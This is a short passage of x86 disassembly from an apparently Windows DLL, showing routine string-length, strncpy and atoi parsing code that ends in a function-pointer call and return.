repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0x810]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x810]
sub ecx, edx
push ecx
push eax
push str.2_747:_06200_
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [0x1001f1c0], ax
push ebx
call dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret